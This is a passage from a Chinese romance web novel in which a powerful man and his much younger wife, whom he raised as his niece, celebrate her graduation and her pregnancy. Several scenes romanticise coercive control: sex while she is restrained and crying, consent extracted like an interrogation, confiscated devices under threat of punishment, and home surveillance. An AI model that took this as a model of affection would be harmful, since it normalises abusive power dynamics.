“我还特意令人做了你喜欢的车厘子小蛋糕,”沈长凛柔声说道,“真的要一直饿着肚子,不过来跟叔叔一起用些吗?”
谢沅很想坚持到底,但看到美味的餐点后,还是可耻地想要开动。
沈长凛像个好脾气的骑士,将他的小公主抱在膝上,温柔地喂她用午餐。
谢沅睡得很足,用完餐后,她舒舒服服地伸了个懒腰。
小孩子跟餍足的猫咪似的,水眸亮亮的。
明明之前还在说累,现在休息够、吃饱喝足,又开始好奇起来这座巨大的宅邸。
沈长凛新年时带谢沅来过秦家。
她也在这边待了一段时间。
但那时候谢沅总顾着玩,然后就是各种社交,她都没能怎样逛过这里。
先前在沈家时有沈宴白在,谢沅又不想在家里公开,沈长凛跟她很多时候是分房睡的。
他的作息又比较紧,不好打扰小孩子的睡眠。
所以那时两人虽然已经开始亲近,却也没有住得太近,可以后就不一样了。
秦家的宅邸在沈长凛二次修整时格局就变了许多。
在主卧里,他辟出来一个非常大的衣帽间,然后将书房也没放得那样远。
最重要的是,所有的物什都是成套出现的。
谢沅穿什么色系的裙子,沈长凛这边就会有对应色系的领带。
从叔侄到夫妻,乍一看好像没什么区别,但细究的话,便能发现无一处没有改变。
谢沅在家里逛了很久,傍晚时她终于没了精力,直接躺在落地窗边的柔软羊毛地毯上。
“好像在做梦,叔叔。”她仰起脸庞,“你掐我一下。”
外间是青绿色的山林,日暮将至,半边天空都是金红色的,比之朝阳还要更加明丽。
沈长凛哪里舍得掐谢沅?
他把她从地上抱起来,轻轻捏了捏她的小脸:“不是在做梦,宝贝。”
谢沅坐在沈长凛的怀里,被那雪松的气息包围,她到底是没有忍住将头埋在他的肩窝,深深地吸了一口气。
幸福感太强烈,有一种不真实感涌现出来。
但谢沅没能高兴太久,夜幕降临后,在下午还温声言说“今天不会这样”的人,再度攥住她的腰身,将她抱到了腿上。
她禁不住地掉眼泪。
谢沅哭着说道:“你骗人,沈长凛……”
男人的眸色深暗,语调和柔,握住她细腰的指节却充斥威胁意味地收紧,他的声音低哑:“沅沅,再想一想,你该叫我什么?”
谢沅呜咽一声,泪水扑簌簌地就落了下来-
虽然沈长凛时常很坏,但不管怎么说,谢沅婚后的这段时光还是非常快活的。
论文答辩结束后,她在学校那边就没什么事情了。
沈长凛早先就将婚期给空了出来,也没什么人来打搅他。
他帮谢沅挑选学士服上用得着的饰品。
沈长凛原先是不懂设计的,后来经常给谢沅定制礼服,方才对这方面有了些深入的了解。
眼看他寥寥几笔画出她想要的学士帽,她的眼眸睁得大大的。
沈长凛谦虚低调,谢沅目瞪口呆:“叔叔,你这也太厉害了吧!”
她的水眸里像是有星子在闪烁。
谢沅的樱唇翘着,勾住沈长凛的脖颈:“我毕业典礼的时候,您有时间吗?哥哥毕业典礼时,您都参加了的。”
她也学会了这样的说话方式。
瞧着是在问询,实则根本就没给人另一个答案。
沈长凛听到谢沅这样言语,却没有任何不快,他的心中都是很温柔的情绪。
“当然有时间,”他温声说道,“就是赴汤蹈火,我也是要去的。”
谢沅生命的每一个重要时刻,沈长凛都想要参与。
而往后的许多年,他会陪着他的宝贝再度一起长大,来弥补他错过、迟来的时光。
转眼就到了六月。
度完蜜月后,沈长凛还是要忙碌的,谢沅和朋友们玩得很疯。
她性子慢热,跟人相处也是,每每都是到了快分别的时刻,关系才会非常的亲近。
直到谢沅接到通知,燕大要她做学生代表发言的时候。
“你看你,专业学得这么好,一直都是专业第一,”跟她谈话的老师很温和,“实习也厉害,商学院那边都没几个能进秦氏的。”
女老师笑着说道:“我们要是找别人的话,也说不过去呀。”
谢沅的实习报告写得太认真了。
后来她从德国交换回来后,商学院那边还真的让她去做讲座了。
谢沅当初只是临时抱佛脚,想糊弄一下实习报告,哪里想得到时候竟然牵扯出来这么多事?
她欲哭无泪,回到家后跟沈长凛讲。
他那样矜贵的一个人,听完就开始笑她。
谢沅生气地跨坐到沈长凛的腿上,掩住他的唇:“不许再笑了。”
对这件事,她还是很苦恼的。
“好,我不笑了。”沈长凛轻笑一声,他托住谢沅的臀根,将她往怀里抱了抱。
对于这种事,谢沅实在是太为难了。
她最多能去做做报告,参加参加比赛,让她去做代表,还是太过欺负人了。
沈长凛莞尔,温声说道:“这时候怎么不记得我了?”
他将谢沅的笔记本拿过来。
“觉得难办的话,推给别人就好了,”沈长凛声音懒散,“比如你的丈夫,我。”
谢沅望向他浅色的眼眸,神情还带着些懵懂。
她愣怔了片刻,最后还是将笔记本拿了回来。
“我不要,叔叔。”谢沅低着眸说道,“自己的事情要自己做,你看,我就是因为懒懒的,想要走捷径,才被你抓去干活。”
她掰着指头数:“然后又被抓过来做讲座、做报告。”
谢沅有点苦恼地说道:“我要是当初自己好好实习,就不会这样子了。”
沈长凛的人脉广,偶尔也会有人请他帮忙。
这还是他第一次听到这样一种言论。
谢沅是个好孩子这件事,沈长凛一直都知道,但他还是没有想到她可以这样好。
在名利场中太久,会让人忘记规则。
沈长凛生来就身份矜贵,这些年来位高权重,说是翻云覆雨也不为过。
人站得太高,不仅会深感孤寒,还容易失去锚点,迷失于纸醉金迷当中。
沈长凛很爱谢沅。
但将她放在心头太久,他也记不太起来,这人到底是何时走进他的心中,又自此扎根的。
名利场繁花似锦,多少人渴慕。
谢沅却将之视作过眼云烟。
其实如果没有被带到沈家,谢沅在走出那痛苦的深渊后,同样会活得很好。
就像是她的父亲谢知,一生淡泊,不慕荣华。
他们这样人,哪怕是在最苦难的时刻,只要手里还有一本书、一支笔,就依旧能够坚定地活下去。
那是再高的权势,也换不来的珍贵品质。
像是在暗夜里才能够发光的宝石。
谢沅可以没有沈长凛,但是沈长凛却没有没有谢沅。
那样他会孤独死,也会厌世死的。
沈长凛将谢沅抱在怀里,微微低头,埋在她的胸前,轻声说道:“好,不过如果须要我帮助的话,一定要告诉我。”
他唇边含笑,声音低柔:“我也很想为沅沅做些什么。”
谢沅被沈长凛这样的目光望过来,脸庞不由地有些热。
她的声音柔软:“好,谢谢叔叔。”
在最初的强势掠夺后,沈长凛没有将谢沅欺负得太过,她毕竟还要忙毕业的事,还要跟人出去玩。
欺负得太狠,她还要生他的气。
进入六月后,时间快得出奇。
六月中旬,燕大的毕业典礼正式举行,沈长凛将事情早先就安排过。
清早起来后,谢沅将邀请函递给他,水眸明亮:“这是因为我要去做演讲,才换来的邀请函,叔叔。”
毕业典礼盛大,燕大的学生又很多。
能够到现场的家长是有限的。
所以这张邀请函是谢沅用辛勤劳动换来的,非常珍贵。
沈长凛执过邀请函,唇边含笑:“辛苦我们沅沅了。”
谢沅没有再谦虚,她这几天是真的很辛苦。
她是主要的演讲人,到场的时间要更早,难得一回出门比沈长凛还早。
在进入燕大时,谢沅从来没有想过,有朝一日她会作为学生代表,来做毕业典礼的发言。
她是个很平凡的女孩子,性格也很安静,不引人瞩目。
谢沅那时候也不自信,读大学的第一个学期,她甚至还遇到了一些不太好的事情。
但是生命总还有转圜的余地。
在这四年里,她彻底走出了当年的阴影,有了要相守一生的人,性子也更加从容开朗。
谢沅还是那朵柔弱的花,但至少现在她的花影下,也可以守护得住她想要守护的人。
她很认真地准备了讲稿,也仔细地背诵了很多遍。
可真正站在聚光灯下,总还是有一种不一样的感受,谢沅还是有些紧张,掌心也沁出汗来,她今天胃不太舒服,心率也在不断地加速。
情绪到达一种程度,会反应在生理上。
直到和台下温柔望向她的那人对上视线时。
沈长凛坐在人群当中,俊美的容色却是那样出挑。
他静默地看向她,眉眼和柔,唇边含笑。
所有的思绪,在刹那间陡然变得清晰。
谢沅握住话筒,很轻声地开口:“Grau,teurer Freund, ist alle Theorie, Und grün ist das Leben goldner Baum.”*
“理论是灰色的,而生命之树常青。在读大学的第一课,我的老师曾经这样告诉过我……”
一场演讲结束,整个礼堂都是掌声。
谢沅的后背被浸湿,她微微地喘着气。
但在这个全场人都瞩目的时刻,她的眼眸却始终只望着一人。
沈长凛笑着朝她做口型:“沅沅,特别好。”
明明隔着那般远的距离,谢沅还是看清了沈长凛在说什么,那个瞬间她莫名有一种想要落泪的冲动-
毕业典礼结束在正午。
谢沅抱着毕业证,随着沈长凛下车回到家里。
她忍不住地吻他,一整路她都在他的怀里,下车时唇瓣都微微泛起肿意。
沈长凛吻了吻谢沅的额头,声音低哑:“先用午餐,沅沅。”
到餐桌前时,她还在他的怀里。
谢沅坐在沈长凛的腿上,难得有些想要任性,他知道她今天胃疼,怕她病症发作,已经将鱼羹喂到她的唇边了。
她的樱唇微张,却是闻到鱼羹的气味,就忍不住地想作呕。
沈长凛神情一慌,立刻就给家庭医生拨了电话。
家庭医生火急火燎地赶过来,许久脸色变来变去,迟疑地说道:“您这边还有验孕的试剂吗?”
谢沅的眼眸睁大,差些没听懂他在说什么。
第78章 孕期。
医生离开好久,沈长凛还没把谢沅从腿上放下来。
她羞得满脸通红,一句话都不想跟他讲。
秦沈两家旗下都有私立医院。
沈长凛早先都做过准备并联系了医生,但还是没有想到这一天来得这样快。
他的薄唇微抿,眼眸低垂,手臂环在谢沅的腰间,静默地将人抱在怀里良久。
沈长凛偶尔喜欢逼谢沅,她脸皮薄,两人都相处多时,每每被他逗弄,还是会害羞到耳尖都透着红。
她想起他之前在床上讲过的话语,脸庞更是越来越烫。
【有孕后会变得很敏感,叔叔碰一下,沅沅就哭得不成样子了。】
【别人见到沅沅有孕,都知道沅沅是我的了。】
谢沅越想脸庞就越红,她坐在沈长凛的腿上,整个人都被他禁锢在怀里,他动作很轻,但全然没有给她留挣动的可能。
她逃不掉,满脸羞意地跟他约法三章:“你不可以趁我有孕欺负我。”
说这话时,谢沅的耳尖滚烫,连脖颈都透着粉意。
沈长凛轻轻地笑了一下,温柔地说道:“我哪里舍得欺负沅沅?叔叔只会疼沅沅。”
谢沅想起沈宴白对沈长凛的一个形容。
说沈长凛万事都不挂心上,性子里带着点冷淡和漠然。
但低头跟那双瞧着色泽清浅、却浸透偏执和占有欲的眼眸对上时,谢沅的身躯都颤了一下,小动物的本能让她很想现在就从沈长凛的腿上下去。
怎么会有这么坏的男人?
沈长凛说的那个“疼”,才不是正常的那个“疼”。
谢沅的小腿晃了晃,她细微地挣扎着:“我们要立字据,不然……不然我就告诉外公和外婆你欺负我。”
秦家的隔代亲在谢沅身上体现得淋漓尽致。
秦老先生和江夫人都很疼谢沅,几乎比对沈长凛还要更好。
尤其是秦老先生一直觉得沈长凛是将谢沅强掠来的后。
沈长凛揉捏着谢沅的后颈,听到她的话语,倏然从那偏执的情绪中挣脱出来,他低笑一声:“行了,叔叔又不会吃了你。”
得知她怀了他们的宝宝,他当然是高兴的。
孩子是维系家庭的纽带。
有了孩子,便意味着无论发生什么,谢沅都不会再从他的身边离开。
更何况她是一个性格这样柔软的小姑娘。
但一想到谢沅要在生育期间,因为这个孩子受很多苦,甚至可能会出事,沈长凛的眸色就暗了下来。
科技不发达时,生育是十足的鬼门关。
如今医疗飞速发展,怀孕和生育依然是很麻烦的事。
沈长凛轻轻地揉着谢沅的小腹,低头吻着她的颈侧和锁骨,须臾容色才彻底平定。
谢沅白皙的脸庞透着绯色,她别过脸,纤手抵在沈长凛的身前,细声说道:“你就是会吃了我。”
她的话语带着稚气,却又那样的笃定。
也是,之前将人欺负得太过,小孩子都害怕了。
最近沈长凛的手段很温和,丝毫没叫谢沅累着,但落在她的眼里,却还是想要将她拆吃入腹的意思。
她那么嫩,那么软。
腿侧的雪肤凝脂般白皙,比小蛋糕的奶油还要更甜。
轻轻咬住时,便会不断地颤。
沈长凛掌住谢沅的腰身,换了个姿势将她抱在怀里,他向后倚靠,声音带着些懒散:“三月之内不能同房,沅沅还记得吧?”
他低声说道:“接下来三个月,都要禁欲。”
还好近来忙,没有乱来,要是因之出现什么意外,沈长凛想都不敢想。
他揽着谢沅,将人整个抱在怀里,小孩子的身躯却蓦地一僵。
她的眼眸睁大,抬起来看向他,呆愣愣地问道:“什么都不可以吗?”
谢沅这个年岁的孩子,最难抵抗诱惑,她口是心非,不喜欢被沈长凛欺负,但若是让她舒服,她也不太能拒绝。
沈长凛掐住谢沅的下颌,声音微哑:“什么都不可以。”
“自己玩也不行,”他凝视着她的眼眸,“听到了吗?”
谢沅的粉腮肉眼可见地涨红。
她气急败坏,从沈长凛的腿上站起来:“我才不会,我又不像叔叔,总是不知道克制。”
可能是真的气坏了,谢沅连人身攻击都学会了。
那些躁郁的情绪忽然都消散了。
沈长凛没有忍住笑出声。
谢沅的脸庞更红,她抬腿就要走,但还没走几步,便被一双修长有力的手轻柔地抱在了怀里。
沈长凛吻了吻她的小脸,柔声说道:“以后晚上我给你讲故事,陪你看动画片。”
谢沅羞着反驳:“《○○○○》不是动画片,好多成年人也看的。”
难为她耳尖红得滴血,还要坚持为这动画片正名了。
沈长凛笑得更厉害了。
谢沅又羞又恼,蒙头就开始睡午觉,任凭沈长凛怎么哄也不理他。
她虽然生气,连这几天忙毕业典礼的事,实在是太累了,这边一结束整个人都放松了下来。
谢沅背过身,原本是生气才要睡觉的,但没多久便睡得很熟。
沈长凛搂住谢沅的腰身,将人又抱回到怀里,他低下眼眸,轻轻地将手覆在谢沅的小腹上。
还好孩子来得晚,要是因此打扰到谢沅的毕业演讲,他可真是万死不辞。
沈长凛将谢沅抱在怀里,心底都是很柔软的情绪。
他真的是太幸运了。
沈长凛的出身尊贵至极,但他从不觉得长在这样的环境里是幸运的,哪有正常的家庭会疏离成那个样子?
无上的权力,本就意味着无上的动荡。
当初将还在襁褓里的他送出国时,秦老先生和沈夫人或许都没想过能再见到他。
接下来十余年里,沈长凛都没见过生身父母几回。
沈老先生有时还能过来,沈夫人身份特殊,甚至他十几岁前每次看到她的照片,都是在国际新闻上。
只有一次偶然,沈夫人因事出外,两人才第一次见面。
她是个斯文严谨的女人,经历极为传奇,挽狂澜于既倒,扶大厦之将倾,像是书册里才会出现的那种人,说是一曲英歌也不会过。
那次会面十分的仓促,仓促到两人身边都没跟翻译,是用英语做的交流。
沈长凛十三四才开始学华文。
还很生疏,不能完全和人对话。
那时候的形势已经好了太多,但沈长凛还是又在国外待了很多年。
他好像是很尊崇、很高贵,走到哪里都有一群人仰望,可若是细细地瞧,他好像也没有过得特别好。
但此刻将谢沅抱在怀里时,沈长凛真切地感受到了命运的眷顾。
他是真的好幸运——
遇到他的沅沅,然后和她相爱,现在他们还有了一个孩子-
谢沅有孕以后变得很嗜睡。
她的整体反应微弱,除了刚开始那几天有些吃不下东西外,没有太多的不适。
就是谢沅越来越爱睡觉了。
沈长凛有些担心,还让医生来了一趟。
送走医生后,谢沅又羞又气:“爱睡觉怎么了?我读了十几年书,那么累,现在终于能休息,只是多睡一会儿而已。”
她最近的生活非常舒心,没有什么事情,每天都懒懒的。
沈长凛也很认真地遵循了约法三章。
而且每晚都给谢沅讲故事,陪她看电影。
她抱着小熊,被他揽在怀里,带着3D眼镜在家庭影院里看电影,早上醒来梦境都是甜软的。
沈长凛搂着谢沅的腰身,将人往怀里带,他声音轻柔地说道:“我害怕沅沅生病,才让医生过来的。”
“我才没有生病。”她的声音有点娇,脸庞也透着薄粉。
但说完谢沅又打了个小小的哈欠。
她早上十点多才睡醒,这边刚用过午餐,便再度困倦起来。
沈长凛抱谢沅回房午睡,她睡着之前,他都一直陪在她的身边。
她本来就是一个要人时刻照顾的小孩子,如今有了身孕,沈长凛更不放心她一个人在家。
好在最近没什么事。
沈长凛没让沈宴白立刻回海外。
如今谢沅有了身孕,他觉得让沈宴白留在燕城也挺好的,很多事情都可以让沈宴白去处理。
都知道秦沈两家的关系亲密。
如今沈宴白甚至能代表秦家出席某些会议。
沈长凛坐在床边的小沙发上,指节交叠,漫不经心地想着事情。
他正想着,电话忽然响起。
也不知道是谁打来的,这么没有礼貌,偏要在人午休的时候拨卧室内的电话。
沈长凛眉心微拧,起身去将电话挂断。
他低眼时,才瞧见是秦老先生打来的。
沈长凛:“……”
他打开屏幕,走出卧室,给秦老先生那边回拨过去。
燕大的硕博录取通知书快要发下来了。
秦家是权贵中的权贵,但无论主支还是旁支,都非常低调内敛,可这个处世准则不适用于养孩子上。
瀛洲那边侍候的人年岁都长。
老一辈人都知识分子的感情,比年轻一代的人要普遍深厚得多。
秦老先生很关注谢沅的学业,他身边的人也很乐得将谢沅在学校的事告诉他。
那边人养孩子的热情,比沈长凛还要浓重。
之前谢沅做毕业典礼的演讲,秦老先生一生谨慎低调的人,在私人的社交平台发了消息。
好多人不知道沈长凛多宠谢沅时,都知道秦老先生很疼谢沅。
但到底有多溺爱,还是到这时才明白。
那内容是李秘书亲手编辑的,还配了足足九张谢沅的单人照,女孩子穿着学士服,站在聚光灯下,容色柔美,落落大方,眉眼都是亮堂堂的。
没有哪个长辈,能够拒绝这样的小姑娘。
【风雨兼程,终得硕果!贺沅沅结业;木铎金声,滋兰树蕙!庆燕园桃李。】
若是身份在那里摆着,沈长凛觉得秦老先生能告诉身边所有人,谢沅在燕大的毕业典礼做了演讲,还顺利直博。
如果可以的话,她那张漂亮到无以复加的毕业成绩单,他都想放出来。
秦老先生很关心谢沅的学业。
这两天录取通知书快下来,他早先就打来电话问。
沈长凛唇边含笑,接起电话,轻声说道:“通知书还没到……”
他话音未落,就被秦老先生打断:“我不是问这个的,天快要热了,让沅沅来瀛洲这边避避暑吧?”
沈长凛的笑容淡下来。
“不行,外祖父,”他轻声说道,“今年沅沅不去瀛洲了。”
沈长凛的声音低柔,言辞里却半分回转的余地都没有。
秦老先生本来就不放心沈长凛,闻言眉立刻就皱起来了:“你说什么?让沅沅接电话。”
“你是不是又干什么了?”他压低声说道,“沅沅呢?你先让沅沅接电话。”
秦老先生那边紧张,沈长凛却更漫不经心了。
“您急什么?”他轻飘飘地说道,“沅沅刚睡下。”
沈长凛矜贵尊崇,只私下里会带着少许的恶劣,但他可从不是温柔淡漠的人,亲外孙的性格到底有多阴晴不定,秦老先生还是知道的。
秦老先生追问道:“你真没做什么?”
“好好的孩子,养在你身边,原本是做侄女的,”他痛心疾首地说道,“你这样已经让我没法跟她父亲交代了,你要是再……,让我百年之后怎么跟敏行说?”
秦老先生还是不相信沈长凛的话。
听着人越来越急,沈长凛脸上的笑意更深了。
他倚在窗边,眉眼微扬,声音也懒洋洋的:“不是我不让沅沅过去,是沅沅刚刚有孕,实在是不方便。”
谢沅刚刚有孕,不宜声张。
除却近处侍候的人和医生,沈长凛还没告诉谁。
秦老先生刚刚还要动怒,听到沈长凛这句话,忽然就没声了。
李秘书紧忙接住滚落的白色瓷杯,却到底慢了一步,只能眼看着满杯的红茶倾洒,将深红色的桌案浸湿。
秦老先生直接就挂断了电话。
再从容儒雅不过的老先生,神情却像是在竭力压抑情绪,他低声说道:“安排一下,现在就去燕城。”
李秘书摸不着头脑,怎么也想不出那边到底怎么了。
他犹豫着说道:“可是您三点还要见渡边先生。”
秦老先生摆了摆手,说道:“迟些时候再见,沅沅有孕了,我得先去看看她。”
他的语气看似平和,眼底的情绪却也是波澜起伏。
这消息太突然了。
不过沈长凛也真是有够混账的,这样重要的事,也不早些说,要不是他这个电话打过去,沈长凛不知还要瞒到什么时候。
内心震动过后,就是巨大的喜悦。
沈长凛于男女之事向来冷淡,早先就有终身不婚的想法,秦老先生对他就没抱过希望。
突然得知自己要做曾外祖父,连秦老先生都没能控制得住情绪。
他的涵养如此,都这般震动,其他人得知消息,还不知道要震撼成什么样子。
话音落下后,秦老先生就眼看着,多年来做事都没出过疏漏的李秘书,愣生生将手里的瓷杯落到了地上。
李秘书呆愣愣的,听到那声碎响都还没回过神来。
秦老先生忽然便笑了。
他蔼声说道:“长命锁之类的,也快准备起来吧。”-
谢沅睡得舒舒服服的,睡醒便得知秦老先生从瀛洲过来了。
他每年夏天都会休息一段,事情也会少上很多。
但谢沅还是没有想得到,秦老先生会为了她有孕的事,亲自过来看她。
她坐在床上,揉着眼眸,还没从困意中彻底挣脱。
听沈长凛说完话,谢沅急得要哭:“你怎么不早点叫醒我?我是不是睡了好久?”
她光着脚,就要从床上下去。
在沈长凛这里,就只有别人等谢沅的份儿,从来没有叫谢沅等别人的道理,更何况她现在还怀着身孕,哪里好叫她累着?
他的手臂穿过谢沅腿弯,将人轻轻抱起。
“不急,”沈长凛温声说道,“外公也才刚过来。”
谢沅松了一口气。
外公和李秘书,她还是应付得来的。
谢沅最怕的,就是突然要见到一大群人,她的性格就是变回小时候那样活泼、那样无忧无虑,也还是不喜欢社交。
但沈长凛没说的是,秦老先生将瀛洲那边的人全都带过来了。
那群最最顶尖的医生,也都随着到来。
如果不是实在不方便的话,秦老先生甚至连身边的保镖,都想送到谢沅这边。
谢沅水眸懵懂,还在想晚间要吃什么。
当被沈长凛抱出卧室,突然跟外面那一大群人对上视线时,她才意识到秦老先生到底带了多少人过来。
那个瞬间,谢沅想死的心都有了。
沈长凛帮着谢沅掩耳盗铃,将她涨得通红的脸庞往怀里遮了遮,柔声说道:“您先别急,中午张医生才来过一趟。”
他唇边含笑,好脾气地令人接待安排。
谢沅羞得欲死,直到第二日秦老先生离开,她还是害羞得不成样子。
她抽咽地说道:“都怪你,所有人都看到了。”
“嗯,是叔叔的错,”沈长凛温柔地拂去谢沅的眼泪,“下回我会注意的。”
她哭了一会儿,哭累了。
谢沅坐在沈长凛的腿上,声音细弱:“叔叔,我想吃黑森林蛋糕。”
他轻声哄她:“好,沅沅,还想吃别的吗?”
谢沅窝在沈长凛的怀里,她的指节攥着他的衣袖,乖乖地说道:“还想吃芒果布丁。”
他俯身吻了吻她的樱唇,柔声说道:“好。”
除了要被迫禁欲,谢沅的生活过得非常舒心,直到有孕三四个月后,禁欲的日子结束。
她终于明白沈长凛之前说的荤话是什么意思。
谢沅的小腹已经微微地凸起,她的身形也发生了少许的变化,纤细单薄的少女体态更加成熟,像是馥郁的花朵般更加秾丽。
她的后腰被沈长凛拢在掌心,整个人都被他抓握在怀里。
谢沅控制不住地想躲。
但她越躲,沈长凛就越狠。
谢沅根本经不得丝毫的触碰,她哭得厉害,可伶仃的脚踝被分腿器扣住,挣扎的空隙都寻不到。
她快要疯掉了,泪珠子断线似的往下滚落。
“求您了,叔叔……”谢沅哭着说道,“能不能……?我的、我的……。”
她的眸里水光颤动,神情也极是可怜。
沈长凛没有应。
他很轻声地问道:“沅沅有孕了,为什么还没有奶水呢?是不是偷偷藏起来了?”
这样的话好像很认真,但仔细听来却是那样的破禁。
谢沅的手腕被扣在一起,然后高举过头顶。
她满脸都是泪水,楚楚可怜地摇头:“没有藏起来,真的就还没有。”
谢沅的话语太天真,也太单纯。
“口说无凭,”沈长凛压低声说道,“沅沅要怎么向我证明,你真的没有藏起来?”
这还能怎么证明?
谢沅的眼尾湿红,哭得眼皮都要肿起。
“真的没有,”她呜咽地说道,“沅沅没有把奶水藏起来,要……要再过几个月才会产奶的。”
谢沅羞得欲死,颤抖的肩头都像是笼着一层浅粉。
她娇娇的,那样懵懂,那样单纯,可却在举手投足间都浸透了蛊惑之意。
尽管知悉这是自己一手浇灌出来的花朵,沈长凛的眸色还是越来越暗。
他掰过谢沅的脸庞,低低地说道:“是吗?”
沈长凛的眼底深暗,他指尖微动,轻声问道:“那沅沅说说,这个是什么?”
谢沅说不出来,她哭得也更凶了。
有孕后她好久没被沈长凛欺负,脸皮也变得更薄了,一句不难的话,却怎样都说不出口,羞耻得想要躲进地缝里。
谢沅都不知道最后她是怎么被抱回床上的。
好在沈长凛九十月有些事情要忙。
知道他要离开一段时间后,她深深地松了一口气,眉眼都变得明媚起来。
谢沅坐在沈长凛的怀里,乖柔地说道:“您放心,我一定会照顾好自己的。”
她都马上要二十三岁了,但在沈长凛这里,还跟个孩子似的。
之前谢沅短暂地在外面住,沈长凛反复地叮嘱她:“不要给陌生人开门,沅沅。”
谢沅早就盼着沈长凛走,但脸上一点也没表现出来,反倒假装非常依依不舍,不想他离开。
小孩子蹙着眉,眼眸也垂着,一副难过失落的样子。
谢沅是有一些分离焦虑的。
沈长凛知道这件事,所以每次离开都不会提前很久告诉她。
他那时总不好带着谢沅一起走,因她还有学业要忙,但是现在不一样了,她最近非常有空闲,就算带上她也没什么事。
沈长凛神情微动,轻声说道:“别难过,跟我一起过去吧。”
他的眉眼温和,声音柔得像风一样。
但谢沅的神情却顿住了。
好像演得太过了,她才不想要和沈长凛一起走——
第79章【正文完】
第79章 孩子随沅沅姓。
沈长凛的行程原本是很紧的,带上谢沅后就要宽松许多。
她原本是不情愿的,犹豫着说:“这样不太好吧,叔叔,我可能、可能会打扰你工作。”
谢沅还是很想待在家里的,特别是沈长凛不在,她会更加自由。
他将她抱在腿上,声音轻柔:“不会打扰我的。”
谢沅现在说谎的技术要高很多,她窝在沈长凛的怀里,声音软软的:“叔叔,先让我再想一想,可以吗?”
他笑了一下,说道:“当然可以。”
谢沅总怕打扰到他,从前就是这样。
沈长凛没有多想,他只是把谢沅的电子设备先全都收了。
他低声说道:“如果你一个人待在家里,也不可以多看手机和平板。”
“超过时间的话,会有惩罚的。”沈长凛漫不经心地说道,“而且以后都不可以再看,同意的话,我们先试两天,看你能不能适应。”
他的语调温柔,说出来的话却再残忍不过。
沈长凛最近事情不多,能推的也几乎全都推了。
他一直陪在谢沅身边,以至于她现在才发觉,他每天都在限制她看电子设备。
她也没有很上瘾电子设备。
谢沅之前如果忙的话,可以一天都不看手机的。
但现在她空闲时间真的很多,要是一点都不看的话,就会很无聊。
沈长凛是说到做到的人,而且他的规矩一直比医生的要求要高得多。
从前他管她饮食都那样严格,更不要说她现在怀着身孕了。
谢沅不得不答应了沈长凛的霸王条款,但被没收电子设备的第一天晚上,她就开始难受起来。
饶是知悉孕期的姑娘,情绪会更加敏感。
沈长凛也没有想得到,谢沅会半夜抱着枕头跑到客房这边。
自从谢沅从德国回来后,两人都没有怎么长时间分离过。
这次要去宁城,是必然要分别一段时日的,秦家这边卧室没有监控,之前在沈家时,摄像头很多,沈长凛看的却并不多。
女孩子毕竟是要有隐私的。
那个监控与其说是监控,不如说是某些时候的一种玩法。
在外面的时候,才会想起来看一眼。
不过更多时候是用不到的,沈长凛想看谢沅的话,直接通视频电话更方便。
但今次要出远门,就很不方便。
沈长凛修长的指节扣着杯子的边沿,他漫不经心地喝着冰水,抬头看向外间的山林,一转眼天又要冷了。
前年这时候,他跟谢沅才刚在一起。
一转眼,他们都有孩子了。
沈长凛正想着,他的房门突然被人从外面推开了。
谢沅穿着白色的睡裙,毛茸茸的流苏往下坠落,她乌黑浓密的长发披散,眼眸红红的,抱着怀里的枕头,带着鼻音唤道:“叔叔。”
她的声音里带着娇意、泪音。
在仅开着的壁灯的映衬下,显得更加柔弱,如夜色里的花枝般轻轻颤着。
沈长凛转过身,快步走过来,他将谢沅抱起,眉心微拧:“怎么了,沅沅?做噩梦了吗,还是不舒服?”
她已经怀孕四个多月了,却还是那样轻。
谢沅的容色像是受了委屈,眸里水光摇晃,像是即刻就要哭出来。
沈长凛的眼神微冷。
他谁跟她讲什么了吗?还是有谁欺负她了?
顷刻间,沈长凛在脑中将那些人全都过了一遍,眼底也越来越暗,想到林家人的刹那,他的眸里都要有杀意了。
可谢沅却突然按住了他的手,往另一个方向抚去。
她秋冬天的睡裙很漂亮,柔软的,毛茸茸的,领口微微敞开,可以从上方将扣子一颗颗解开,拢住她的细腰,也可以从裙摆探进去,掌住她的腿心。
像雪一样颜色的衣裙,拢住比雪更皎白的肌肤。
碰到那湿润的瞬间,沈长凛的思绪是空白的。
他神情微怔,薄唇紧抿,在某个瞬间,突然失去了组织言辞的能力。
谢沅带着哭腔,仰起眼眸:“叔叔,涨奶了怎么办?”
产后是一定会有奶水的,但产前何时有奶水,就是因人而异的事。
沈长凛也没有想到谢沅会这么快涨奶。
他俊美的脸庞显现出少许的错愕,不过那神情是闪过一瞬间就消逝了。
沈长凛将谢沅抱到床上,声音微哑:“没事的,沅沅,这是很正常的事,只要……就好了。”
她仍有些懵懂,水眸仰起,眼底尽是迷茫。
谢沅迟疑地问道:“叔叔,怎么……呀?”
但下一个瞬间,她就明白了。
谢沅的脖颈不住地向后仰,腰肢却被紧攥着,躲都躲不开,她坐在沈长凛的腿上,身躯疯狂地抖动着,哭叫着想要逃。
紊乱的思绪变得更加模糊。
“难受,叔叔……”谢沅哭着唤道,“呜……”
她哭得很厉害,等到沈长凛扣住她腰身放松下来时,她满脸都是泪水。
他的唇边带着水光。
沈长凛声音微哑:“现在还难受吗,沅沅?”
谢沅的眼眸失神,她无力地趴在他的怀里,细瘦的腰身轻抖,带动后肩的蝴蝶骨也一起颤动。
她方才哭得梨花带雨,现在眸里还有水光。
谢沅不住地想要躲,踝骨却被扣得更紧。
沈长凛的眸色深暗,他又问了一遍:“还难受不难受,沅沅?”
她强忍泪意,摇头说道:“不、不难受了,叔叔。”
沈长凛将谢沅揽在怀里,把薄被也盖在她的身上,声音低柔:“不难受了就好。”
“不过沅沅这样的话,自己待在家里弄会很难受的,”他的声音微哑,“要不后日还是跟我一起,嗯?”
沈长凛深谙谈判和审讯。
就是胁迫人也胁迫得很自然从容,一会儿严苛,一会儿温柔。
谢沅全然无法抵抗,她的脑中被那激烈的潮水逼得没有思考能力,她扣着沈长凛的肩膀,指节无意识地收紧,懵懵懂懂地就应道:“好,叔叔。”
第三日坐上车,她才清醒过来,意识到她答应了什么。
沈长凛唇边含笑,温柔地将谢沅揽过来:“你好多年没回过宁城了吧?”-
谢沅刚开始是真的不情愿。
但到了宁城后,她很可耻地真香了。
谢沅在宁城待过六年,这个城市实在是太大了,那时候宁大还在老校区。
那段记忆美好模糊,就像旧照片似的,很早之前就已经泛黄,变得不清晰起来。
谢沅总是要通过翻看日记,才能记清楚。
她印象最深的梅雨。
那是跟滨城的回南天一样,让人记忆深刻到不能忘怀的坏天气。
好在十月多,已经不怎么下雨了。
滨城是个既古老又现代的城市,谢沅现在怀有身孕,每天不能常看电子设备。
沈长凛怕她无聊,安排了人陪她玩,住处也特意挑选了市区里面的。
